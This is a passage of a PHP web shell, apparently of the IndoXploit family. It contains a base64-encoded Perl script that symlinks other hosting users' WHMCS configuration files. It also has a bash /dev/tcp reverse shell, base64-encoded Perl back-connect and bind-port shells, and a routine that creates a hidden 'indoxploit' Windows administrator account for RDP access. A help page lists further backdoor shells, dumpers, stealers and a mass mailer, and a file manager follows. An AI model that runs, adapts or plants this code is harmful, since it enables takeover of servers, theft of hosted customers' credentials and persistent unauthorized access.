JyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DTElFTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DTElFTlRBUkVBL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CSUxMSU5HL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JpbGxpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CVVkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CdXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9idXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9NQU5BR0Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9NYW5hZ2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9tYW5hZ2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50U3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudHN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0hFQ0tPVVQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DaGVja291dC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQkFTS0VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmFza2V0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmFza2V0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU0VDVVJFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU2VjdXJlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2VjdXJlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU0FMRVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TYWxlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NhbGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUFVSQ0hBU0Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9QdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQUNDT1VOVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0FjY291bnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9hY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvVVNFUi9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1VzZXIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC91c2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UUy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudHMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTVkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9NeS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL215L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2VjdXJlL3dobS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS93aG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BhbmVsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0NCik7DQpmb3JlYWNoIChAYXJyYXkpew0KCW15ICRjb25maWdueWEgPSAkXy0+e2NvbmZpZ2Rpcn07DQoJbXkgJHR5cGVjb25maWcgPSAkXy0+e3R5cGV9Ow0KCXN5bWxpbmsoIiRjb25maWdueWEiLCJibGFja3N5bS8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiKTsNCglta2RpciAiYmxhY2tzeW0vJHVzZXJueWEtJHR5cGVjb25maWcudHh0IjsNCglzeW1saW5rKCIkY29uZmlnbnlhIiwiYmxhY2tzeW0vJHVzZXJueWEtJHR5cGVjb25maWcudHh0LzB4MTk5OS50eHQiKTsNCgljb3B5KCJibGFja3N5bS9uZW11LnR4dCIsImJsYWNrc3ltLyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dC8uaHRhY2Nlc3MiKSA7DQoJfQ0KfQ0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCAiPGhlYWQ+PHRpdGxlPkJ5cGFzcyA0MDQgQnkgMHgxOTk5PC90aXRsZT48L2hlYWQ+IjsNCnByaW50ICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSI1OyB1cmw9YmxhY2tzeW0iLz4nOw0KcHJpbnQgJzxib2R5PjxjZW50ZXI+PGgxPjB4MTk5OSBOZXZlciBEaWU8L2gxPic7DQpwcmludCAnPGEgaHJlZj0iYmxhY2tzeW0iPktsaWsgRGlzaW5pPC9hPic7DQp1bmxpbmsoJDApOw0K";
828 save("/tmp/symlink.pl", "w", base64_decode($sym['code']));
829 exe("perl /tmp/symlink.pl");
830 sleep(1);
831 @unlink("/tmp/symlink.pl");
832 @unlink("passwd.txt");
833 @unlink("blacksym/pas.txt");
834 @unlink("blacksym/nemu.txt");
835 }
836 print "<div style='background: #ffffff; width: 100%; height: 100%'>";
837 print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/blacksym/' frameborder='0' scrolling='yes'></iframe>";
838 print "</div>";
839 } elseif ($toolsname === "help") {
840 print "
841 <html>
842<body>
843 <center>
844<br>
845<i>Usage: [OPTION]</i>
846<br>
847Run this tool only [OPTION] ,same as 'jumping'</h3>
848<table border='1'>
849 <tr>
850 <td><font color='red'>OPTION</td>
851 <td><font color='red'>etc.</font></td>
852 </tr>
853 <pre></pre>
854 <tr>
855 <td>jumping</td>
856 <td>--jumping</td>
857 </tr>
858 <tr>
859 <td>symlink</td>
860 <td>--symlink</td>
861 </tr>
862 <tr>
863 <td>krdp</td>
864 <td>--if windows servers you can add rdp</td>
865 </tr>
866 <tr>
867 <td>killme</td>
868 <td>--kill urself bitch</td>
869 </tr>
870 </center>
871</table>
872<br>
873<i>Usage: spawn [OPTION]...</i>
874<br>
875Run this tools. With no OPTION, same as '-s'
876<table border='1'>
877 <tr>
878 <td><font color='red'>OPTION</font></td>
879 <td><font color='red'>etc.</font></td>
880 </tr>
881 <tr>
882 <td>-a</td>
883 <td>--Adminer</td>
884 </tr>
885 <tr>
886 <td>-p</td>
887 <td>--Pasirmerah</td>
888 </tr>
889 <tr>
890 <td>-i</td>
891 <td>--IndoXploit</td>
892 </tr>
893 <tr>
894 <td>-s</td>
895 <td>--SabunMassal</td>
896 </tr>
897 <tr>
898 <td>-w</td>
899 <td>--WSO</td>
900 </tr>
901 <tr>
902 <td>-d</td>
903 <td>--Dumper shell[email only]</td>
904 </tr>
905 <tr>
906 <td>-m</td>
907 <td>--Magentools [dumper,stealer,etc]</td>
908 </tr>
909 <tr>
910 <td>-h</td>
911 <td>--Hsphere Bypass [if hsphere serv]</td>
912 </tr>
913 <tr>
914 <td>-aa</td>
915 <td>--AnonGhost ByPass Shell</td>
916 </tr>
917 <tr>
918 <td>-ww</td>
919 <td>--Weevely Remote Shell [defpass:4848]</td>
920 </tr>
921 <tr>
922 <td>-ma</td>
923 <td>--Mass Mailer</td>
924 </tr>
925 </center>
926</table>
927<br>
928Greetz for :<br>
929<td><font color='red'><i>
930IndoXploit , Pasirmerah Shell, Sabun Masal, WSO,
931<br>Dumper Shell, AnonGhost Shell</font>
932<br>
933BIG THANKS WE RESPECT UR CODE</i>
934</body>
935</html>
936
937 ";
938 } elseif ($toolsname === "network") {
939 $args = explode(" ", $args);
940 if ($args[0] === "bc") {
941 if (empty($args[1])) die(color(1, 1, "Set Your IP for BackConnect!"));
942 if (empty($args[2])) die(color(1, 1, "Set Your PORT for BackConnect!"));
943 if (empty($args[3])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
944 if ($args[3] === "bash") {
945 exe("/bin/bash -i >& /dev/tcp/" . $args[1] . "/" . $args[2] . " 0>&1");
946 } elseif ($args[3] === "perl") {
947 $bc['code'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
948 save("/tmp/bc.pl", "w", base64_decode($bc['code']));
949 $bc['exec'] = exe("perl /tmp/bc.pl " . $args[1] . " " . $args[2] . " 1>/dev/null 2>&1 &");
950 sleep(1);
951 print "<pre>" . $bc['exec'] . "
952" . exe("ps aux | grep bc.pl") . "</pre>";
953 @unlink("/tmp/bc.pl");
954 }
955 } elseif ($args[0] === "bp") {
956 if (empty($args[1])) die(color(1, 1, "Set Your PORT for Bind Port!"));
957 if (empty($args[2])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
958 if ($args[2] === "perl") {
959 $bp['code'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
960 save("/tmp/bp.pl", "w", base64_decode($bp['code']));
961 $bp['exec'] = exe("perl /tmp/bp.pl " . $args[1] . " 1>/dev/null 2>&1 &");
962 sleep(1);
963 print "<pre>" . $bp['exec'] . "
964" . exe("ps aux | grep bp.pl") . "</pre>";
965 @unlink("/tmp/bp.pl");
966 }
967 } else {
968 print color(1, 1, "Unknown '" . $args[0] . "'");
969 }
970 } elseif ($toolsname === "krdp") {
971 $args = explode(" ", $args);
972 if (OS() !== "Windows") die(color(1, 1, "Just For Windows Server"));
973 if (preg_match("/indoxploit/", exe("net user"))) die(color(1, 1, "[INFO] username 'indoxploit' already exists."));
974 $add_user = exe("net user indoxploit indoxploit /add");
975 $add_groups1 = exe("net localgroup Administrators indoxploit /add");
976 $add_groups2 = exe("net localgroup Administrator indoxploit /add");
977 $add_groups3 = exe("net localgroup Administrateur indoxploit /add");
978 print "[ RDP ACCOUNT INFO ]<br>
979 ------------------------------<br>
980 IP: " . color(1, 2, $GLOBALS['SERVERIP']) . "<br>
981 Username: " . color(1, 2, "indoxploit") . "<br>
982 Password: " . color(1, 2, "indoxploit") . "<br>
983 ------------------------------<br><br>
984 [ STATUS ]<br>
985 ------------------------------<br>
986 ";
987 if ($add_user) {
988 print "[add user] -> " . color(1, 2, "SUCCESS") . "<br>";
989 } else {
990 print "[add user] -> " . color(1, 1, "FAILED") . "<br>";
991 }
992 if ($add_groups1) {
993 print "[add localgroup Administrators] -> " . color(1, 2, "SUCCESS") . "<br>";
994 } elseif ($add_groups2) {
995 print "[add localgroup Administrator] -> " . color(1, 2, "SUCCESS") . "<br>";
996 } elseif ($add_groups3) {
997 print "[add localgroup Administrateur] -> " . color(1, 2, "SUCCESS") . "<br>";
998 } else {
999 print "[add localgroup] -> " . color(1, 1, "FAILED") . "<br>";
1000 }
1001 print "------------------------------<br>";
1002 }
1003 }
1004 function files_and_folder() {
1005 if (!is_dir(path())) die(color(1, 1, "Directory '" . path() . "' is not exists."));
1006 if (!is_readable(path())) die(color(1, 1, "Directory '" . path() . "' not readable."));
1007 print '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
1008 <tr>
1009 <th class="th_home"><center>N</center></th>
1010 <th class="th_home"><center>T</center></th>
1011 <th class="th_home"><center>S</center></th>
1012 <th class="th_home"><center>LM</center></th>
1013 <th class="th_home"><center>Group</center></th>
1014 <th class="th_home"><center>Perm</center></th>
1015 <th class="th_home"><center>Act</center></th>
1016 </tr>';
1017 if (function_exists('opendir')) {
1018 if ($opendir = opendir(path())) {
1019 while (($readdir = readdir($opendir)) !== false) {
1020 $dir[] = $readdir;
1021 }
1022 closedir($opendir);
1023 }
1024 sort($dir);
1025 } else {
1026 $dir = scandir(path());
1027 }
1028 foreach ($dir as $folder) {
1029 $dirinfo['path'] = path() . DIRECTORY_SEPARATOR . $folder;
1030 if (!is_dir($dirinfo['path'])) continue;
1031 $dirinfo['type'] = filetype($dirinfo['path']);
1032 $dirinfo['time'] = date("F d Y", filemtime($dirinfo['path']));
1033 $dirinfo['size'] = "-";
1034 $dirinfo['perms'] = writeable($dirinfo['path'], perms($dirinfo['path']));
1035 $dirinfo['link'] = ($folder === ".." ? "<a href='?dir=" . dirname(path()) . "'>$folder</a>" : ($folder === "." ? "<a href='?dir=" . path() . "'>$folder</a>" : "<a href='?dir=" . $dirinfo['path'] . "'>$folder</a>"));
1036 $dirinfo['action'] = ($folder === '.' || $folder === '..') ? "<a href='?act=newfile&dir=" . path() . "'>newfile</a> | <a href='?act=newfolder&dir=" . path() . "'>newfolder</a>" : "<a href='?act=rename_folder&dir=" . $dirinfo['path'] . "'>R</a> | <a href='?act=delete_folder&dir=" . $dirinfo['path'] . "'>RM</a>";
1037 if (function_exists('posix_getpwuid')) {
1038 $dirinfo['owner'] = (object)@posix_getpwuid(fileowner($dirinfo['path']));
1039 $dirinfo['owner'] = $dirinfo['owner']->name;
1040 } else {
1041 $dirinfo['owner'] = fileowner($dirinfo['path']);
1042 }
1043 if (function_exists('posix_getgrgid')) {
1044 $dirinfo['group'] = (object)@posix_getgrgid(filegroup($dirinfo['path']));
1045 $dirinfo['group'] = $dirinfo['group']->name;
1046 } else {
1047 $dirinfo['group'] = filegroup($dirinfo['path']);
1048 }
1049 print "<tr>";
1050 print "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA" . "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp" . "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>" . $dirinfo['link'] . "</td>";
1051 print "<td class='td_home' style='text-align: center;'>" . $dirinfo['type'] . "</td>";
1052 print "<td class='td_home' style='text-align: center;'>" . $dirinfo['size'] . "</td>";
1053 print "<td class='td_home' style='text-align: center;'>" . $dirinfo['time'] . "</td>";
1054 print "<td class='td_home' style='text-align: center;'>" . $dirinfo['owner'] . DIRECTORY_SEPARATOR . $dirinfo['group'] . "</td>";
1055 print "<td class='td_home' style='text-align: center;'>" . $dirinfo['perms'] . "</td>";
1056 print "<td class='td_home' style='padding-left: 15px;'>" . $dirinfo['action'] . "</td>";
1057 print "</tr>";
1058 }
1059 foreach ($dir as $files) {
1060 $fileinfo['path'] = path() . DIRECTORY_SEPARATOR . $files;
1061 if (!is_file($fileinfo['path'])) continue;
1062 $fileinfo['type'] = filetype($fileinfo['path']);
1063 $fileinfo['time'] = date("F d Y", filemtime($fileinfo['path']));
1064 $fileinfo['size'] = filesize($fileinfo['path']) / 1024;
1065 $fileinfo['size'] = round($fileinfo['size'], 3);
1066 $fileinfo['size'] = ($fileinfo['size'] > 1024) ? round($fileinfo['size'] / 1024, 2) . "MB" : $fileinfo['size'] . "KB";
1067 $fileinfo['perms'] = writeable($fileinfo['path'], perms($fileinfo['path']));
1068 if (function_exists('posix_getpwuid')) {
1069 $fileinfo['owner'] = (object)@posix_getpwuid(fileowner($fileinfo['path']));
1070 $fileinfo['owner'] = $fileinfo['owner']->name;
1071 } else {
1072 $fileinfo['owner'] = fileowner($fileinfo['path']);
1073 }
1074 if (function_exists('posix_getgrgid')) {
1075 $fileinfo['group'] = (object)@posix_getgrgid(filegroup($fileinfo['path']));
1076 $fileinfo['group'] = $fileinfo['group']->name;
1077 } else {
1078 $fileinfo['group'] = filegroup($fileinfo['path']);
1079 }
1080 print "<tr>";
